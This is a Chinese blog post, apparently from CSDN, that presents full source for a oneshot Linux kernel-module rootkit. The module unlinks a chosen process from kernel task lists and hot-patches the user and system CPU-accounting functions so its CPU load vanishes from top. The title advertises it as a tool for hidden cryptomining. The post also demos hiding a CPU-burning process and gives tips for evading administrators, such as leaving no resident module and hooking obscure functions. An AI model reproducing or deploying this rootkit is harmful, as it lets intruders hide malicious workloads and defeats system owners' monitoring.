Linux系统中彻底隐藏你的进程(rootkit挖矿利器哦)

最近写了一篇隐藏Linux进程的文章:
https://blog.csdn.net/dog250/article/details/105270500

上文和本文的声明: 有ROOT权限!有ROOT权限!有ROOT权限!

也许你会说,有ROOT还有啥干不了的啊!

哈哈,大部分人有ROOT依然也啥也干不了。至少,本文能让你学点手艺也不错。

感觉这个还是比较好玩的,简单直接磊落,没有那么多花活儿,寥寥几行代码,干干净净,同样在ROOT权限下,这个方案绝对是任何用户态PRELOAD库,hook procfs等方案的降维打击!这些库方案都太复杂了,没有编程功底搞不定的,像我这种不怎么会编程的,肯定玩不转。

但上文中的内核方案依然还是比较朴素,还是容易被经理抓到。

虽然ps看不到隐藏的进程,但是top中的CPU汇总还是有的啊。比如说,我隐藏了执行死循环的loop进程,但是top是这样子的:

Tasks: 122 total,   1 running, 121 sleeping,   0 stopped,   0 zombie
%Cpu0  :  0.0 us,  0.3 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   702116 free,    99332 used,   215040 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   770848 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 1363 root      20   0       0      0      0 S   0.3  0.0   0:00.07 kworker/0:3
    1 root      20   0  125360   3800   2496 S   0.0  0.4   0:00.79 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/0

虽然看不到loop进程,但是CPU1的100.0 us还是真真切切的,经理肯定会注意到的…

所以说,需要hook住account_user_time这个函数,stub函数中加入下面的逻辑:

static unsigned int pid = 0;
module_param(pid, int, 0444);

void stub_func(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
    if (p->pid == pid)  {
    	// 如果pid是我们要隐藏的,skip掉account_user_time的堆栈。
    	// 直接返回account_user_time的调用者。
        asm ("pop %rbp; pop %r11; retq;");
    }
    // 如果pid不是我们要隐藏的,就直接返回原始的account_user_time函数。
}

此外,还有一个问题,我们实现进程隐藏的内核模块必须是oneshot的,必须干完就走。它不能一直驻留在系统中,否则经理肯定会查到有一个奇怪的内核模块。

也就是说,模块的init函数必须返回非0!这意味着模块的内核也会被释放,所以我们的stub函数需要额外的申请内存,且该内存还必须在account_user_time函数可以32位相对跳转的范围内。

嗯,嗯,嗯,貌似可以了,模块的init函数把事情做完后,事了拂衣去,不留身与名,空留一个stub_func来过滤account_user_time,不错,不错!

但是,且慢!

pid是个模块参数,当模块由于init函数返回非0而加载失败后,其实它的内存将会全部释放,包括pid参数,也就是说,stub_func中无法访问pid参数变量!因此,stub_func中的cmp指令比较必须采用立即数的方式,也就是说,我们需要通过模块的pid参数来校准这个stub_func中的cmp操作数。

好了,上代码了:

// hide_process.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344来占位,模块加载的时候通过pid参数来校准
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;
}

static int __init hotfix_init(void)
{
	unsigned char jmp_call[POKE_LENGTH];
	// 32位相对跳转偏移
	s32 offset;
	// 需要校准的pid指针位置。
	unsigned int *ppid;

	addr = (void *)kallsyms_lookup_name("account_user_time");
	if (!addr) {
		printk("一切还没有准备好!请先加载sample模块。\n");
		return -1;
	}

	// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("还没开始,就已经结束。");
		return -1;
	}

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)
	// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遗憾,内存不够了\n");
		return -1;
	}

	// 把模版函数拷贝到真正的stub函数中
	memcpy(hide_account_user_time, stub_func_template, 0x25);
	// 校准pid立即数
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
	*ppid = pid;

	stub = (void *)hide_account_user_time;
	offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

	jmp_call[0] = 0xe8;
	(*(s32 *)(&jmp_call[1])) = offset;
	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隐藏进程,将其从数据结构中摘除
	hide_process();

	// 事了拂衣去,不留痕迹
	return -1;
}

static void __exit hotfix_exit(void)
{
	// 事了拂衣去了,什么都没有留下,也不必再过问!
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

来吧!看个效果。

首先我们准备一个恶意的且消耗CPU的程序:

#include <stdio.h>
int main()
{
	while(1) {
		// 暂且不打印,因为sys还没有hook
		//printf("经理的皮鞋进水了,但是不会胖,如果胖了请打经理电话\n");
	}
}

运行它,看top:

%Cpu0  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   727332 free,    96040 used,   193116 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   775868 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 1494 root      20   0    4212    356    280 R 100.0  0.0   0:10.15 loop
   63 root      20   0       0      0      0 S   0.3  0.0   0:00.16 kworker/0:2

我们看到,loop进程的pid是1494,我们以它为参数,加载模块:

[root@localhost test]# insmod ../hide_process.ko pid=1494

再看top:

%Cpu0  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   726620 free,    96772 used,   193096 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   775148 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
    1 root      20   0  190956   3836   2496 S   0.0  0.4   0:00.79 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/0

干干净净的!经理会兴叹。

好了,效果已经演示过了,来说说这个程序的问题。

首先,由于stub函数hook后只是一个pid判断,所以它的效果就是只能隐藏一个进程的CPU利用情况。如果使用一个链表的话,就比较完美,然而用汇编操作链表会引入很长的篇幅,没有意思,会让人失去兴致。

此外,我这里仅仅是hook了account_user_time这么一个函数,其实在时钟tick的处理中,要想彻底隐藏某个进程不让其时间被记账,还需要hook别的几个函数,但同样,这会引入篇幅,不利于展示手艺。所以,这里同样不再赘述这方面的完整解。

再次,本文中我这个例子是事了拂衣去的效果,它的本意就是前脚跨出大门,后脚就不准备再跨进大门的,所以没有打印被隐藏进程的地址信息,因此也就很难将其恢复了。这里的考虑依然是怕经理发现,试问,被隐藏的进程地址信息打印到哪里呢?只要打印出来,就有可能被经理抓到把柄。

经理抓到的话,就会坠入唯心主义的深渊!我们不能犯形而上学的错误。

最后,由于我们hook了时间统计函数,有经验的人肯定会想到check这个函数有没有被hook,这么一下子顺藤摸瓜,直接就露馅了…所以说,本质的做法还是要在被隐藏进程的自身来做。比如寻找一个定时机制,偷偷插入不断递减被隐藏进程CPU使用计数器的逻辑。

嗯,在中间hook一个不熟知的函数,比在开头hook一个熟知的函数,要安全很多。

附:可以同时实现隐进程隐藏,user CPU隐藏,system CPU隐藏的Linux Rootkit(需要根据Linux内核具体版本微调)

我做的这些其实就是一个rootkit,我这个rootkit和之前网上能找到的不同。事实上,我一开始并不知道我做的这个是一个rootkit,但从最终效果上看,它就是。

一般而言,所谓的rootkit都会做下面几件事:

  • hook住proc的文件系统操作。
  • 把内核模块隐藏掉。

但我这个不是如此的实现。我这个采用了完全不同的方法:

  • 直接把task从内核管理结构中摘除。
  • hook掉被隐藏进程的时间计数。
  • oneshot执行上述动作,不留内核模块。

而且我这个最大的特点就是 超级简单!!

另外,我这种方法中,既然已经做到了包括CPU利用率的100%隐藏,你也就不必把server逻辑放在内核里面了,放在用户态即可,反正经理啥也看不到!哈哈哈!

如果你真的还是要在内核中放一个server,那就搞一个内核线程呗,隐藏的方法完全一样!

// hide_process.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344来占位,模块加载的时候通过pid参数来校准
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;
}

static int __init hotfix_init(void)
{
	unsigned char jmp_call[POKE_LENGTH];
	// 32位相对跳转偏移
	s32 offset;
	// 需要校准的pid指针位置。
	unsigned int *ppid;

	addr_user = (void *)kallsyms_lookup_name("account_user_time");
	addr_sys = (void *)kallsyms_lookup_name("account_system_time");
	if (!addr_user || !addr_sys) {
		printk("一切还没有准备好!请先加载sample模块。\n");
		return -1;
	}

	// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("还没开始,就已经结束。");
		return -1;
	}

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)
	// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遗憾,内存不够了\n");
		return -1;
	}

	// 把模版函数拷贝到真正的stub函数中
	memcpy(hide_account_user_time, stub_func_template, 0x25);
	// 校准pid立即数
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
	*ppid = pid;

	stub = (void *)hide_account_user_time;

	jmp_call[0] = 0xe8;

	// hook掉user时间计数函数
	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 同理hook掉sys时间计数函数
	offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隐藏进程,将其从数据结构中摘除
	hide_process();

	// 事了拂衣去,不留痕迹
	return -1;
}

static void __exit hotfix_exit(void)
{
	// 事了拂衣去了,什么都没有留下,也不必再过问!
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

浙江温州皮鞋湿,下雨进水不会胖。

原创文章 1603 获赞 5261 访问量 1129万+

猜你喜欢

转载自blog.csdn.net/dog250/article/details/105292504